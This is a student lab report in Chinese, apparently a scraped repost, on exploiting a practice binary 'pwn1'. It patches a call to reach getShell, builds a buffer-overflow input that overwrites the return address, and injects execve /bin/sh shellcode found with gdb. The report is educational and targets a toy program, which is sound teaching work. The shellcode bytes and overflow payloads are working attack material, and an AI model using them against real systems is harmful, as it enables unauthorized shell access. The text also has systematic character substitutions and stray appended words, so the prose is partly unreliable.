2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解

 

 

实验一 PC平台逆向破解

 

实验目的

  • 本次实践的对象是一个名为pwn1的linux可执行文件。linux

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

  • 该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。编程

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个本身制做的shellcode并运行这段shellcode。

相关内容机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不作,仅仅当作一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,若是不相等则跳转。(机器码:75)
  • JE:条件转移指令,若是相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。

实验步骤

(一)直接修改程序机器指令,改变程序执行流程

  • 建立文件夹20165234_exp1 ,将pwn1放入其中
  • 使用 objdump -d pwn1 将pwn1反汇编,获得如下代码windows

其中 80484b5: e8 d7 ff ff ff call 8048491 <foo> 这条汇编指令,e8表示“ call ”,在main函数中调用位于地址 8048491 处的foo函数。sass

若是想函数调用getShell,只须要修改 d7 ff ff ff 便可。安全

根据foo函数与getShell地址的偏移量,用Windows计算器经过 47d-4ba 就能获得补码,可计算出应为 c3 ff ff ff 。函数

修改可执行文件的具体步骤

  • 输入命令  cp pwn1 pwn2 对pwn1中的内容进行拷贝至pwn2
  • 用 vi 打开pwn2,进入命令模式,输入%!xxd 将显示模式切换为十六进制
  • 在底行模式输入 /d7 定位须要修改的地方,并确认
  • 进入插入模式,修改 d7 为 c3 
  • 输入%!xxd -r 将十六进制转换为原格式
  • 使用 :wq 保存并退出

在此我选择尝试另外一种方式,即便用图形化的16进制编程器:工具

输入 apt-get install wxhexeditor , wxHexEditor 两个命令便可安装
学习

经过此工具也查找到了要修改的内容,修改D7为C3,而后保存并退出spa

输入  objdump -d pwn2 | more  反汇编pwn2文件中的main函数,查看是否正确调用get shell函数

运行修改后的代码,能够获得shell提示符#。

修改为功,调用了getshell~

(二)经过构造输入参数,形成BOF攻击

1.确认输入字符串哪几个字符会覆盖到返回地址

  • 经过gdb命令,调试文件pwn1。
  • 输入 1111111122222222333333334444444455555555 ,出现Segmentation Fault,说明缓冲区溢出。

经过 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555(0x35是ASCII码,表明十进制中的5)

说明刚输入的40个字符中,含有5的字符串溢出到了EIP中。

  • 输入字符串 1111111122222222333333334444444412345678 ,结果发现1234这四个数最终会覆盖到堆栈上的返回地址

只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

2.确认用什么值来覆盖返回地址

由反汇编结果可知getShell的内存地址为:0x080484

确认字节序后,应该输入11111111222222223333333344444444\x7d\x84\x04\x08

3.构造输入字符串

  • 使用 perl 命令生成包括这样字符串的一个文件。其中 \x0a 表示回车。

 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 

  • 使用16进制查看指令xxd, 经过 xxd input 查看input文件的内容。
  • 将input输入经过管道符“|”做为输入,指令为 (cat input ) | ./pwn1 ,运行后就进入了getShell函数~

(三)注入Shellcode并执行

shellcode

shellcode就是一段机器指令(code),一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),因此这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

1.准备工做

首先使用 apt-get install execstack 命令安装 execstack 。

而后修改一些设置。

2.构造要注入的payload

Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode、nop+shellcode+retaddr。

缓冲区小就用前一种方法,缓冲区大就用后一种方法。

这里咱们选择前一种方法,即retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)

  • 执行如下指令:
perl -e 'print
"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' 
> input_shellcode
  • 为了肯定\x4\x3\x2\x1该填什么,首先打开一个终端,使用指令(cat input_shellcode;cat) | ./pwn1注入这段攻击buf。
  • 再打开另一个终端,使用指令 ps -ef | grep pwn1 查看pwn1这个进程,发现进程号为16262。

  • 接下来用gdb来调试pwn1这个进程。输入命令disassemble foo ,经过设置断点来查看注入buf的内存地址。
  • 使用 break *0x080484ae 设置断点,并输入 c 继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用 info r esp 查找地址。

 x/16x 0xbffffd37c 查看其存放内容,看到了0x9080cd0b,就是返回地址的位置。

实验收获

经过本次实验,理解了缓冲区溢出攻击的具体原理,实际的操做中从程序内部函数的跳转到最后的shellcode注入一系列流程。因为个人基础较薄弱,对于汇编语言和Linux操做的知识并非很熟悉,而这次实验让我熟悉了相关的知识,并为之后的实验打下了基础。经过查看老师的教程,上网查阅资料,参考同窗的博客等方式,我仍是较为顺利地完成了实验,而且充分了解了相关的原理。整体来讲,个人收获很大~

什么是漏洞?

漏洞就是某种安全隐患,好比说操做系统、硬件、软件等等,其中多少会存在不一样的安全隐患,并且能够被他人利用。

漏洞的危害小则影响我的,可能会形成我的隐私信息的泄露,乃至引发经济损失;

大则能够引发整个国家的严重损失,可能泄露国家秘密信息,危害国家安全。

相关文章
相关标签/搜索